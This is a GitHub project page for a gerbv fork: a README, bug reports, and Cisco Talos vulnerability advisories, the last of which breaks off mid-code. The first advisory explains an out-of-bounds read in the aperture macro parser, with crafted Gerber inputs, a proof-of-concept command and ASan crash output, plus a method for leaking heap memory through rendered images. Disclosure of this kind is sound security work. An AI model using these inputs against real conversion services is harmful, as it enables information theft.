Maintained fork of gerbv, carrying mostly bugfixes

Related tags

Audio gerbv
Overview

Gerbv – a Gerber file viewer

Gerbv was originally developed as part of the gEDA Project but is now seperatly maintained.

About Gerbv

  • Gerbv is a viewer for Gerber RS-274X files, Excellon drill files, and CSV pick-and-place files. (Note: RS-274D files are not supported.)
  • Gerbv is a native Linux application, and it runs on many common Unix platforms.
  • Gerbv is free/open-source software.
  • The core functionality of Gerbv is located in a separate library (libgerbv), allowing developers to include Gerber parsing/editing/exporting/rendering into other programs.
  • Gerbv is one of the utilities originally affiliated with the gEDA project, an umbrella organization dedicated to producing free software tools for electronic design.

About this fork

While Gerbv is great software, the development on Source Force has stalled since many years with patches accumulating in the tracker and mailing list.

This fork aims at providing a maintained Gerbv source, containing mostly bugfixes.

To communicate with the original Gerbv developers, please post your query on the following mailing list:

This is a friendly fork and I'm willing to invite other people to join the Gerbv GitHub organization.

Supported platforms

Gerbv has been built and tested on

  • Linux (from 2.2)
  • NetBSD/i386 (1.4.1)
  • NetBSD/Alpha (1.5.1)
  • Solaris (5.7 and 5.8)

Information for developers

Gerbv is split into a core functional library and a GUI portion. Developers wishing to incorporate Gerber parsing/editing/exporting/rendering into other programs are welcome to use libgerbv. Complete API documentation for libgerbv is here, as well as many example programs using libgerbv.

License

Gerbv and all associated files is placed under the GNU Public License (GPL) version 2.0. See the toplevel COPYING file for more information.

Programs and associated files are: Copyright 2001, 2002 by Stefan Petersen and the respective original authors (which are listed on the respective files)

Comments
  • Turning the Gerber Fail

    Turning the Gerber Fail

    If you rotate the file 90 degrees, you cannot save the result. When you reopen, the file returns to its original position. When you change the coordinates or rotate the file, the settings window cannot be moved and it closes the original picture

    opened by mikhailmihalkov 39
  • TALOS Security Advisory for Gerbv (TALOS-2021-1402)

    TALOS Security Advisory for Gerbv (TALOS-2021-1402)

    Hello, The Cisco Talos team found a security vulnerability affecting Gerbv products. As this is a sensitive security issue, please advise if you can mark the issue private in Github before we include the details of the report.

    For further information about the Cisco Vendor Vulnerability Reporting and Disclosure Policy please refer to this document which also links to our public PGP key. https://tools.cisco.com/security/center/resources/vendor_vulnerability_policy.html Please CC [email protected] all correspondence related to this issue.

    opened by CiscoTalos 17
  • Security advisory TALOS-2021-1413

    Security advisory TALOS-2021-1413

    TALOS-2021-1413
    CVE-2021-40400

    Gerbv RS-274X aperture macro outline primitive out-of-bounds read vulnerability

    Summary

    An out-of-bounds read vulnerability exists in the RS-274X aperture macro outline primitive functionality of Gerbv 2.7.0 and dev (commit b5f1eacd) and the forked version of Gerbv (commit d7f42a9a). A specially-crafted gerber file can lead to information disclosure. An attacker can provide a malicious file to trigger this vulnerability.

    Tested Versions

    Gerbv 2.7.0
    Gerbv dev (commit b5f1eacd)
    Gerbv forked dev (commit d7f42a9a)

    Product URLs

    https://sourceforge.net/projects/gerbv/

    CVSSv3 Score

    9.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:H

    CWE

    CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer

    Details

    Gerbv is an open-source software that allows to view RS-274X Gerber files, Excellon drill files and pick-n-place files. These file formats are used in industry to describe the layers of a printed circuit board and are a core part of the manufacturing process.

    Some PCB (printed circuit board) manufacturers use software like Gerbv in their web interfaces as a tool to convert Gerber (or other supported) files into images. Users can upload gerber files to the manufacturer website, which are converted to an image to be displayed in the browser, so that users can verify that what has been uploaded matches their expectations. Gerbv can do such conversions using the -x switch (export). Moreover, gerbv can be compiled and used as a shared library. For these reasons, we consider this software as reachable via network without user interaction or privilege requirements.

    Gerbv uses the function gerbv_open_image to open files. In this advisory we're interested in the RS-274X file-type.

    int
    gerbv_open_image(gerbv_project_t *gerbvProject, char *filename, int idx, int reload,
                    gerbv_HID_Attribute *fattr, int n_fattr, gboolean forceLoadFile)
    {
        ...        
        dprintf("In open_image, about to try opening filename = %s\n", filename);
        
        fd = gerb_fopen(filename);
        if (fd == NULL) {
            GERB_COMPILE_ERROR(_("Trying to open \"%s\": %s"),
                            filename, strerror(errno));
            return -1;
        }
        ...
        if (gerber_is_rs274x_p(fd, &foundBinary)) {                                 // [1]
            dprintf("Found RS-274X file\n");
            if (!foundBinary || forceLoadFile) {
                    /* figure out the directory path in case parse_gerb needs to
                     * load any include files */
                    gchar *currentLoadDirectory = g_path_get_dirname (filename);
                    parsed_image = parse_gerb(fd, currentLoadDirectory);            // [2]
                    g_free (currentLoadDirectory);
            }
        }
        ...
    

    A file is considered of type "RS-274X" if the function gerber_is_rs274x_p [1] returns true. When true, the parse_gerb is called [2] to parse the input file. Let's first look at the requirements that we need to satisfy to have an input file be recognized as an RS-274X file:

    gboolean
    gerber_is_rs274x_p(gerb_file_t *fd, gboolean *returnFoundBinary) 
    {
        ...
        while (fgets(buf, MAXL, fd->fd) != NULL) {
            dprintf ("buf = \"%s\"\n", buf);
            len = strlen(buf);
        
            /* First look through the file for indications of its type by
             * checking that file is not binary (non-printing chars and white 
             * spaces)
             */
            for (i = 0; i < len; i++) {                                             // [3]
                if (!isprint((int) buf[i]) && (buf[i] != '\r') && 
                    (buf[i] != '\n') && (buf[i] != '\t')) {
                    found_binary = TRUE;
                    dprintf ("found_binary (%d)\n", buf[i]);
                }
            }
            if (g_strstr_len(buf, len, "%ADD")) {
                found_ADD = TRUE;
                dprintf ("found_ADD\n");
            }
            if (g_strstr_len(buf, len, "D00") || g_strstr_len(buf, len, "D0")) {
                found_D0 = TRUE;
                dprintf ("found_D0\n");
            }
            if (g_strstr_len(buf, len, "D02") || g_strstr_len(buf, len, "D2")) {
                found_D2 = TRUE;
                dprintf ("found_D2\n");
            }
            if (g_strstr_len(buf, len, "M00") || g_strstr_len(buf, len, "M0")) {
                found_M0 = TRUE;
                dprintf ("found_M0\n");
            }
            if (g_strstr_len(buf, len, "M02") || g_strstr_len(buf, len, "M2")) {
                found_M2 = TRUE;
                dprintf ("found_M2\n");
            }
            if (g_strstr_len(buf, len, "*")) {
                found_star = TRUE;
                dprintf ("found_star\n");
            }
            /* look for X<number> or Y<number> */
            if ((letter = g_strstr_len(buf, len, "X")) != NULL) {
                if (isdigit((int) letter[1])) { /* grab char after X */
                    found_X = TRUE;
                    dprintf ("found_X\n");
                }
            }
            if ((letter = g_strstr_len(buf, len, "Y")) != NULL) {
                if (isdigit((int) letter[1])) { /* grab char after Y */
                    found_Y = TRUE;
                    dprintf ("found_Y\n");
                }
            }
        }
        ...
        /* Now form logical expression determining if the file is RS-274X */
        if ((found_D0 || found_D2 || found_M0 || found_M2) &&                     // [4]
            found_ADD && found_star && (found_X || found_Y)) 
            return TRUE;
        
        return FALSE;
    
    } /* gerber_is_rs274x */
    

    For an input to be considered an RS-274X file, the file must first of all contain only printing characters [3]. The other requirements can be gathered by the conditional expression at [4]. An example of a minimal RS-274X file is the following:

    %FSLAX26Y26*%
    %MOMM*%
    %ADD100C,1.5*%
    D100*
    X0Y0D03*
    M02*
    

    Even though not important for the purposes of the vulnerability itself, note that the checks use g_strstr_len, so all those fields can be found anywhere in the file. For example, this file is also recognized as an RS-274X file, even though it will fail later checks in the execution flow:

    %ADD0X0*
    

    After an RS-274X file has been recognized, parse_gerb is called, which in turn calls gerber_parse_file_segment:

    gboolean
    gerber_parse_file_segment (gint levelOfRecursion, gerbv_image_t *image, 
                               gerb_state_t *state,        gerbv_net_t *curr_net, 
                               gerbv_stats_t *stats, gerb_file_t *fd, 
                               gchar *directoryPath)
    {
        ...
        while ((read = gerb_fgetc(fd)) != EOF) {
            ...
            case '%':
                dprintf("... Found %% code at line %ld\n", line_num);
                while (1) {
                        parse_rs274x(levelOfRecursion, fd, image, state, curr_net,
                                    stats, directoryPath, &line_num);
    

    If our file starts with "%", we end up calling parse_rs274x:

    static void 
    parse_rs274x(gint levelOfRecursion, gerb_file_t *fd, gerbv_image_t *image, 
                 gerb_state_t *state, gerbv_net_t *curr_net, gerbv_stats_t *stats, 
                 gchar *directoryPath, long int *line_num_p)
    {
        ...
        switch (A2I(op[0], op[1])){
        ...
        case A2I('A','D'): /* Aperture Description */
            a = (gerbv_aperture_t *) g_new0 (gerbv_aperture_t,1);
    
            ano = parse_aperture_definition(fd, a, image, scale, line_num_p); // [6]
            ...
            break;
        case A2I('A','M'): /* Aperture Macro */
            tmp_amacro = image->amacro;
            image->amacro = parse_aperture_macro(fd);                         // [5]
            if (image->amacro) {
                image->amacro->next = tmp_amacro;
            ...
    

    For this advisory, we're interested in the AM and AD commands. For details on the Gerber format see the specification from Ucamco.

    In summary, AM defines a "macro aperture template", which is, in other terms, a parametrized shape. It is a flexible way to define arbitrary shapes by building on top of simpler shapes (primitives). It allows to perform arithmetic operations and define variables. After a template has been defined, the AD command is used to instantiate such template and optionally passing some parameters to customize the shape.

    From the specification, this is the syntax of the AM command:

    <AM command>          = AM<Aperture macro name>*<Macro content>
    <Macro content>       = {{<Variable definition>*}{<Primitive>*}}
    <Variable definition> = $K=<Arithmetic expression>
    <Primitive>           = <Primitive code>,<Modifier>{,<Modifier>}|<Comment>
    <Modifier>            = $M|< Arithmetic expression>
    <Comment>             = 0 <Text>
    

    While this is the syntax for the AD command:

    <AD command> = ADD<D-code number><Template>[,<Modifiers set>]*
    <Modifiers set> = <Modifier>{X<Modifier>}
    

    For this advisory, we're interested in the "Outline" primitive (code 4). From the specification:

    An outline primitive is an area defined by its outline or contour. The outline is a polygon, consisting of linear segments only, defined by its start vertex and n subsequent vertices.

    The outline primitive should contain the following fields:

    +-----------------+----------------------------------------------------------------------------------------+
    | Modifier number | Description                                                                            |
    +-----------------+----------------------------------------------------------------------------------------+
    | 1               | Exposure off/on (0/1)                                                                  |
    +-----------------+----------------------------------------------------------------------------------------+
    | 2               | The number of vertices of the outline = the number of coordinate pairs minus one.      |
    |                 | An integer ≥3.                                                                         |
    +-----------------+----------------------------------------------------------------------------------------+
    | 3, 4            | Start point X and Y coordinates. Decimals.                                             |
    +-----------------+----------------------------------------------------------------------------------------+
    | 5, 6            | First subsequent X and Y coordinates. Decimals.                                        |
    +-----------------+----------------------------------------------------------------------------------------+
    | ...             | Further subsequent X and Y coordinates. Decimals.                                      |
    |                 | The X and Y coordinates are not modal: both X and Y must be specified for all points.  |
    +-----------------+----------------------------------------------------------------------------------------+
    | 3+2n, 4+2n      | Last subsequent X and Y coordinates. Decimals. Must be equal to the start coordinates. |
    +-----------------+----------------------------------------------------------------------------------------+
    | 5+2n            | Rotation angle, in degrees counterclockwise, a decimal.                                |
    |                 | The primitive is rotated around the origin of the macro definition,                    |
    |                 | i.e. the (0, 0) point of macro                                                         |
    +----------------------------------------------------------------------------------------------------------+
    

    Also the specification states that "The maximum number of vertices is 5000", which is controlled by the modified number 2. So, depending on the number of vertices, the length of this primitive will change accordingly.

    In the parse_rs274x function, when an AM command is found, the function parse_aperture_macro is called [5]. Let's see how this outline primitive is handled there:

    gerbv_amacro_t *
    parse_aperture_macro(gerb_file_t *fd)
    {
        gerbv_amacro_t *amacro;
        gerbv_instruction_t *ip = NULL;
        int primitive = 0, c, found_primitive = 0;
        ...
        int equate = 0;
    
        amacro = new_amacro();
    
        ...        
        /*
         * Since I'm lazy I have a dummy head. Therefore the first 
         * instruction in all programs will be NOP.
         */
        amacro->program = new_instruction();
        ip = amacro->program;
        
        while(continueLoop) {
            
            c = gerb_fgetc(fd);
            switch (c) {
            ...
            case '*':
                ...
                /*
                 * Check is due to some gerber files has spurious empty lines.
                 * (EagleCad of course).
                 */
                if (found_primitive) {
                    ip->next = new_instruction(); /* XXX Check return value */
                    ip = ip->next;
                    if (equate) {
                        ip->opcode = GERBV_OPCODE_PPOP;
                        ip->data.ival = equate;
                    } else {
                        ip->opcode = GERBV_OPCODE_PRIM;                         // [10]
                        ip->data.ival = primitive;
                    }
                    equate = 0;
                    primitive = 0;
                    found_primitive = 0;
                }
                break;
            ...
            case ',':
                if (!found_primitive) {                                         // [8]
                    found_primitive = 1;
                    break;
                }
                ...
                break;
            ...
            case '1':
            case '2':
            case '3':
            case '4':
            case '5':
            case '6':
            case '7':
            case '8':
            case '9':
            case '.':
                /* 
                 * First number in an aperture macro describes the primitive
                 * as a numerical value
                 */
                if (!found_primitive) {                                         // [7]
                    primitive = (primitive * 10) + (c - '0');
                    break;
                }
                (void)gerb_ungetc(fd);
                ip->next = new_instruction(); /* XXX Check return value */      // [9]
                ip = ip->next;
                ip->opcode = GERBV_OPCODE_PUSH;
                amacro->nuf_push++;
                ip->data.fval = gerb_fgetdouble(fd);
                if (neg) 
                    ip->data.fval = -ip->data.fval;
                neg = 0;
                comma = 0;
                break;
            case '%':
                gerb_ungetc(fd);  /* Must return with % first in string
                                     since the main parser needs it */
                return amacro;                                                  // [11]
            default :
                /* Whitespace */
                break;
            }
            if (c == EOF) {
                continueLoop = 0;
            }
        }
        free (amacro);
        return NULL;
    }
    

    As we can see this function implements a set of opcodes for a virtual machine that is used to perform arithmetic operations, handle variable definitions and references via a virtual stack, and primitives.
    Let's take an outline primitive definition as example:

    %AMX0*4,0,3,1,1,1*%
    

    As discussed before, %AM will land us in the parse_aperture_macro function, and X0 is the name for the macro. The macro parsing starts with 4 [7]: this is the primitive number, which is read as a decimal number until a , is found [8]. After that, each field separated by , is read as a double and added to the stack via PUSH [9]. These form the arguments to the primitive. When * is found [10], the primitive instruction is added, and with % the macro is returned.

    For reference, these are the prototypes for the macro and the program instructions:

    struct amacro {
        gchar *name;
        gerbv_instruction_t *program;
        unsigned int nuf_push;
        struct amacro *next;
    }
    
    struct instruction {
        gerbv_opcodes_t opcode;
        union {
            int ival;
            float fval;
        } data;
        struct instruction *next;
    }
    

    Back to parse_rs274x, when an AD command is found, the function parse_aperture_definition is called [6], which in turn calls simplify_aperture_macro when the AD command is using a template.

    static int
    simplify_aperture_macro(gerbv_aperture_t *aperture, gdouble scale)
    {
        ...
        gerbv_instruction_t *ip;
        int handled = 1, nuf_parameters = 0, i, j, clearOperatorUsed = FALSE;   // [18]
        double *lp; /* Local copy of parameters */
        double tmp[2] = {0.0, 0.0};
        ...
        /* Allocate stack for VM */
        s = new_stack(aperture->amacro->nuf_push + extra_stack_size);           // [12]
        if (s == NULL) 
            GERB_FATAL_ERROR("malloc stack failed in %s()", __FUNCTION__);
        ...
        for(ip = aperture->amacro->program; ip != NULL; ip = ip->next) {
            switch(ip->opcode) {
            case GERBV_OPCODE_NOP:
                break;
            case GERBV_OPCODE_PUSH :
                push(s, ip->data.fval);                                         // [13]
                break;
            ...
            case GERBV_OPCODE_PRIM :
                /* 
                 * This handles the exposure thing in the aperture macro
                 * The exposure is always the first element on stack independent
                 * of aperture macro.
                 */
                switch(ip->data.ival) {
                ...
                case 4 :                                                        // [14]
                    dprintf("  Aperture macro outline [4] (");
                    type = GERBV_APTYPE_MACRO_OUTLINE;
                    /*
                     * Number of parameters are:
                     * - number of points defined in entry 1 of the stack + 
                     *   start point. Times two since it is both X and Y.
                     * - Then three more; exposure,  nuf points and rotation.
                     */
                    nuf_parameters = ((int)s->stack[1] + 1) * 2 + 3;            // [15]
                    break;
                ...
                }
    
                if (type != GERBV_APTYPE_NONE) { 
                    if (nuf_parameters > APERTURE_PARAMETERS_MAX) {             // [16]
                            GERB_COMPILE_ERROR(_("Number of parameters to aperture macro (%d) "
                                                            "are more than gerbv is able to store (%d)"),
                                                            nuf_parameters, APERTURE_PARAMETERS_MAX);
                            nuf_parameters = APERTURE_PARAMETERS_MAX;           // [17]
                    }
    
                    /*
                     * Create struct for simplified aperture macro and
                     * start filling in the blanks.
                     */
                    sam = g_new (gerbv_simplified_amacro_t, 1);
                    sam->type = type;
                    sam->next = NULL;
                    memset(sam->parameter, 0, 
                           sizeof(double) * APERTURE_PARAMETERS_MAX);
                    memcpy(sam->parameter, s->stack,                            // [18]
                           sizeof(double) *  nuf_parameters);
    

    For this advisory, all the AD commands has to do is utilize the macro that we just created, without special parameters. Let's consider the following aperture definition:

    %ADD09X0*
    

    For AD to use the template, it has to execute the template in the virtual machine. To this end, a virtual stack is allocated at [12] to handle parameters. The size of this stack depends on nuf_push, which is incremented at [9] every time a GERBV_OPCODE_PUSH instruction is added to the program.

    In the case of the sample macro previously discussed, our program will contain a serie of GERBV_OPCODE_PUSH instructions (pushing the numbers 0,3,1,1,1 to the stack, at [13]) and a GERBV_OPCODE_PRIM instruction for primitive 4 (outline), executed at [14].

    At [15] the number of vertices is taken from the second field in the stack (as per specification) and the number of parameters for the primitive is calculated. At [16] the code makes sure that nuf_parameters is not bigger than APERTURE_PARAMETERS_MAX (102), otherwise nuf_parameters gets limited to APERTURE_PARAMETERS_MAX [17]. Finally at [18] the parameters are copied from the stack into the newly allocated sam structure.

    The problem in this whole logic is that the stack buffer (s->stack) created at [12] has a size that depends on nuf_push, while the memcpy happening at [18] has a size that depends on nuf_parameters. In the sample macro, the value of nuf_parameters is 3, however an attacker could use any arbitrary number, which is taken verbatim at [15] by reading s->stack[1] and used to calculate nuf_parameters. At [17] the value of nuf_parameters is restricted to a maximum of 102, meaning that an attacker can set an arbitrary nuf_parameters value from 0 to 102, causing the memcpy at [18] to range from 0 to 816 (i.e. 102 * sizeof(double)).
    If nuf_push is smaller than nuf_parameters, the memcpy will cause an out-of-bounds read on the s->stack buffer, which will lead to storing data of the nearby heap chunks into sam->parameter. Since sam->parameter is used to draw the shape for the macro being evaluated, this will result in the final drawing to have a different shape, coordinate points, and rotation, depending on the values stored in the nearby heap chunks. Since an attacker might be able to read the rendered image at the end of the parsing (e.g. if the service using Gerbv is converting a .gbr file into a .png and returning it to the user), it would be possible to extract heap metadata or contents by reading the resulting rendered image. The quality of the information depends on the dpi chosen for the operation, however with careful heap manipulation, in the worst case this could result in an information leak of the process' memory.

    Crash Information

    # ./gerbv -x png -o out aperture_macro_parameters_oobr.poc
    
    ** (process:267): CRITICAL **: 15:11:07.120: Number of parameters to aperture macro (2005) are more than gerbv is able to store (102)=================================================================
    ==267==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf3e027b8 at pc 0xf799d8be bp 0xfff31768 sp 0xfff31338
    READ of size 816 at 0xf3e027b8 thread T0
        #0 0xf799d8bd  (/usr/lib/i386-linux-gnu/libasan.so.4+0x778bd)
        #1 0x5664448d in simplify_aperture_macro ./src/gerber.c:2051
        #2 0x56646257 in parse_aperture_definition ./src/gerber.c:2272
        #3 0x56640cef in parse_rs274x ./src/gerber.c:1637
        #4 0x56634211 in gerber_parse_file_segment ./src/gerber.c:243
        #5 0x56639d97 in parse_gerb ./src/gerber.c:768
        #6 0x5664fdb3 in gerbv_open_image ./src/gerbv.c:526
        #7 0x5664d760 in gerbv_open_layer_from_filename_with_color ./src/gerbv.c:249
        #8 0x565b9528 in main ./src/main.c:932
        #9 0xf6b91f20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)
        #10 0x56577220  (./gerbv+0x16220)
    
    0xf3e027b8 is located 0 bytes to the right of 120-byte region [0xf3e02740,0xf3e027b8)
    allocated by thread T0 here:
        #0 0xf7a0c124 in calloc (/usr/lib/i386-linux-gnu/libasan.so.4+0xe6124)
        #1 0xf70165ca in g_malloc0 (/usr/lib/i386-linux-gnu/libglib-2.0.so.0+0x4e5ca)
        #2 0x566439f1 in simplify_aperture_macro ./src/gerber.c:1922
        #3 0x56646257 in parse_aperture_definition ./src/gerber.c:2272
        #4 0x56640cef in parse_rs274x ./src/gerber.c:1637
        #5 0x56634211 in gerber_parse_file_segment ./src/gerber.c:243
        #6 0x56639d97 in parse_gerb ./src/gerber.c:768
        #7 0x5664fdb3 in gerbv_open_image ./src/gerbv.c:526
        #8 0x5664d760 in gerbv_open_layer_from_filename_with_color ./src/gerbv.c:249
        #9 0x565b9528 in main ./src/main.c:932
        #10 0xf6b91f20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/i386-linux-gnu/libasan.so.4+0x778bd)
    Shadow bytes around the buggy address:
      0x3e7c04a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
      0x3e7c04b0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
      0x3e7c04c0: 00 00 00 00 00 00 01 fa fa fa fa fa fa fa fa fa
      0x3e7c04d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
      0x3e7c04e0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
    =>0x3e7c04f0: 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa
      0x3e7c0500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04
      0x3e7c0510: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
      0x3e7c0520: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
      0x3e7c0530: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
      0x3e7c0540: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
    ==267==ABORTING
    

    Credit

    Discovered by Claudio Bozzato of Cisco Talos.

    https://talosintelligence.com/vulnerability_reports/

    opened by CiscoTalos 10
  • Numeric format incorrect when reading Altium 14 NC Drill file

    Numeric format incorrect when reading Altium 14 NC Drill file

    gerbv is misreading the numeric format in an Altium Excellon drill file. The top of an example is here:

    M48
    ;Layer_Color=9474304
    ;FILE_FORMAT=2:3
    INCH,TZ
    ;TYPE=PLATED
    T1F00S00C0.028
    T2F00S00C0.035
    T3F00S00C0.040
    T4F00S00C0.047
    T5F00S00C0.051
    T6F00S00C0.072
    T7F00S00C0.125
    %
    T01
    X1875Y350
    X1965Y460
    etc.
    

    Tracing execution in drill.c, it is correctly parsing the FILE_FORMAT=2:3 line, but the subsequent INCH,TZ line resets to trailing zero suppression with 4 decimals. The file then reads at 1/10 of the proper scale.

    I don't know if Altium is at fault, but without a detailed knowledge of the standard, it looks incorrect to set TZ because the rest of file is obviously not suppressing trailing zeros (a dumb concept, but there you have it). But an Excellon guru needs to look at it.

    If, in gerbv viewer, the format is manually reset to 3 decimals (no autodetect), it reads at correct scale.

    Possibly, state->autod should be reset if the FILE_FORMAT line is read, or another flag should be set to prevent any change to the format.

    This may be related to issue #94.

    opened by meantaipan 9
  • Security Advisory (TALOS-2021-1417)

    Security Advisory (TALOS-2021-1417)

    TALOS-2021-1417
    CVE-2021-40403

    Gerbv pick-and-place rotation parsing use of uninitialized variable vulnerability

    Summary

    An information disclosure vulnerability exists in the pick-and-place rotation parsing functionality of Gerbv 2.7.0 and dev (commit b5f1eacd), and Gerbv forked 2.8.0. A specially-crafted pick-and-place file can exploit the missing initialization of a structure to leak memory contents. An attacker can provide a malicious file to trigger this vulnerability.

    Tested Versions

    Gerbv 2.7.0
    Gerbv forked 2.8.0
    Gerbv dev (commit b5f1eacd)

    Product URLs

    https://sourceforge.net/projects/gerbv/

    CVSSv3 Score

    5.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

    CWE

    CWE-456 - Missing Initialization of a Variable

    Details

    Gerbv is an open-source software that allows users to view RS-274X Gerber files, Excellon drill files and pick-n-place files. These file formats are used in industry to describe the layers of a printed circuit board and are a core part of the manufacturing process.

    Some PCB (printed circuit board) manufacturers use software like Gerbv in their web interfaces as a tool to convert Gerber (or other supported) files into images. Users can upload gerber files to the manufacturer website, which are converted to an image to be displayed in the browser, so that users can verify that what has been uploaded matches their expectations. Gerbv can do such conversions using the -x switch (export). For this reason, we consider this software as reachable via network without user interaction or privilege requirements.

    Gerbv uses the function gerbv_open_image to open files. In this advisory we're interested in the pick-and-place file-type.

    int
    gerbv_open_image(gerbv_project_t *gerbvProject, char *filename, int idx, int reload,
                    gerbv_HID_Attribute *fattr, int n_fattr, gboolean forceLoadFile)
    {
        ...
        dprintf("In open_image, about to try opening filename = %s\n", filename);
    
        fd = gerb_fopen(filename);
        if (fd == NULL) {
            GERB_COMPILE_ERROR(_("Trying to open \"%s\": %s"),
                            filename, strerror(errno));
            return -1;
        }
        ...
        } else if (pick_and_place_check_file_type(fd, &foundBinary)) {                              // [1]
            dprintf("Found pick-n-place file\n");
            if (!foundBinary || forceLoadFile) {
                    if (!reload) {
                            pick_and_place_parse_file_to_images(fd, &parsed_image, &parsed_image2); // [2]
        ...
    

    A file is considered of type "pick-and-place" if the function pick_and_place_check_file_type [1] returns true. When true, pick_and_place_parse_file_to_images is called [2] to parse the input file. Let's first look at the requirements that we need to satisfy to have an input file be recognized as an pick-and-place file:

    gboolean
    pick_and_place_check_file_type(gerb_file_t *fd, gboolean *returnFoundBinary)
    {
        ...
        while (fgets(buf, MAXL, fd->fd) != NULL) {
            len = strlen(buf);
         
            /* First look through the file for indications of its type */
            
            /* check for non-binary file */
            for (i = 0; i < len; i++) {                                             // [3]
                if (!isprint((int) buf[i]) && (buf[i] != '\r') && 
                    (buf[i] != '\n') && (buf[i] != '\t')) {
                    found_binary = TRUE;
                }
            }
            ...
            /* Semicolon can be separator too */
            if (g_strstr_len(buf, len, ";")) {
                found_comma = TRUE;
            }
            
            /* Look for refdes -- This is dumb, but what else can we do? */
            if ((letter = g_strstr_len(buf, len, "R")) != NULL) {
                if (isdigit((int) letter[1])) { /* grab char after R */
                    found_R = TRUE;
                }
            }
            if ((letter = g_strstr_len(buf, len, "C")) != NULL) {
                if (isdigit((int) letter[1])) { /* grab char after C */
                    found_C = TRUE;
                }
            }
            if ((letter = g_strstr_len(buf, len, "U")) != NULL) {
                if (isdigit((int) letter[1])) { /* grab char after U */
                    found_U = TRUE;
                }
            }
            
            /* Look for board side indicator since this is required
             * by many vendors */
            if (g_strstr_len(buf, len, "top")) {
                found_boardside = TRUE;
            }
            if (g_strstr_len(buf, len, "Top")) {
                found_boardside = TRUE;
            }
            if (g_strstr_len(buf, len, "TOP")) {
                found_boardside = TRUE;
            }
            /* Also look for evidence of "Layer" in header.... */
            if (g_strstr_len(buf, len, "ayer")) {
                found_boardside = TRUE;
            }
            if (g_strstr_len(buf, len, "AYER")) {
                found_boardside = TRUE;
            }
            
        }
        ...
        if (found_comma && (found_R || found_C || found_U) &&               // [4]
            found_boardside) 
            return TRUE;
        
        return FALSE;
        
    } /* pick_and_place_check_file_type */
    

    For an input to be considered a pick-and-place file, the file must first of all contain only printable characters [3]. The other requirements can be gathered by the conditional expression at [4]. An example of a minimal pick-and-place file is the following:

    # --------------------------------------------
    J2,"3 TERM BLOCK","DK ED1602-ND",1501.00,375.00,180,top
    

    Though not important for the purposes of the vulnerability itself, note that the checks use g_strstr_len, so all those fields can be found anywhere in the file. For example, this file is also recognized as a pick-and-place file, even though it will fail later checks in the execution flow:

    top,C0
    

    After a pick-and-place file has been recognized, pick_and_place_parse_file_to_images is called, which in turn calls pick_and_place_parse_file. This function parses the pick-and-place file line by line, for each line a PnpPartData structure is built and appended to an array which is eventually returned. Let's look at the code:

    GArray *
    pick_and_place_parse_file(gerb_file_t *fd)
    {
        PnpPartData   pnpPartData;                            // [5]
        int           lineCounter = 0, parsedLines = 0;
        int           ret;
        char          *row[12];                               // [6]
        char          buf[MAXL+2], buf0[MAXL+2];
        char          def_unit[41] = {0,};
        double        tmp_x, tmp_y;
        gerbv_transf_t *tr_rot = gerb_transf_new();
        GArray         *pnpParseDataArray = g_array_new (FALSE, FALSE, sizeof(PnpPartData));
        gboolean foundValidDataRow = FALSE;
        /* Unit declaration for "PcbXY Version 1.0" files as exported by pcb */
        const char *def_unit_prefix = "# X,Y in ";
        ...
    

    At [5] we see the pnpPartData declaration of type PnpPartData:

    typedef struct {
        char     designator[MAXL];
        char     footprint[MAXL];
        double   mid_x;
        double   mid_y;
        double   ref_x;
        double   ref_y;
        double   pad_x;
        double   pad_y;
        char     layer[MAXL]; /*T is top B is bottom*/
        double   rotation;
        char     comment[MAXL];    
        int      shape;
        double   width;
        double   length;
        unsigned int nuf_push;  /* Nuf pushes to estimate stack size */
    } PnpPartData;
    

    At [6] we see the declaration for the row fields that are going to be populated.
    Note that the structure at [5] is not initialized.

    ...
    while ( fgets(buf, MAXL, fd->fd) != NULL ) {                                   // [7]
        int len = strlen(buf)-1;
        int i_length = 0, i_width = 0;
        
        lineCounter += 1; /*next line*/
        if(lineCounter < 2) {                                                      // [8]
            /* 
             * TODO in principle column names could be read and interpreted
             * but we skip the first line with names of columns for this time
             */
            continue;
        }
        ...
        if (len <= 11)  {  //lets check a minimum length of 11                     // [9]
            continue;
        }
        ...
        ret = csv_row_parse(buf, MAXL,  buf0, MAXL, row, 11, ',',   CSV_QUOTES);   // [10]
    
        if (ret > 0) {
            foundValidDataRow = TRUE;
        } else {
            continue;
        }
    

    The code loops for each line [7] in the file. At [8] we can see that the first line is skipped as it's considered a header. At line [9] the code ensures that the line has a minimum size of 12 bytes. There are other sanitization checks but they are omitted since they're not relevant to this advisory.

    At [10] the line is parsed using the csv_row_parse. This is a function taken from the libmba package, which has been included in gerbv with some modifications. Basically each line is parsed as a CSV, using comma as a separator and allowing a maximum of 11 fields to be populated in the row variable. If the CSV parsing is successful, the loop code continues with the following:

    ...
    if (row[0] && row[8]) { // here could be some better check for the syntax          // [11]
        snprintf (pnpPartData.designator, sizeof(pnpPartData.designator)-1, "%s", row[0]);
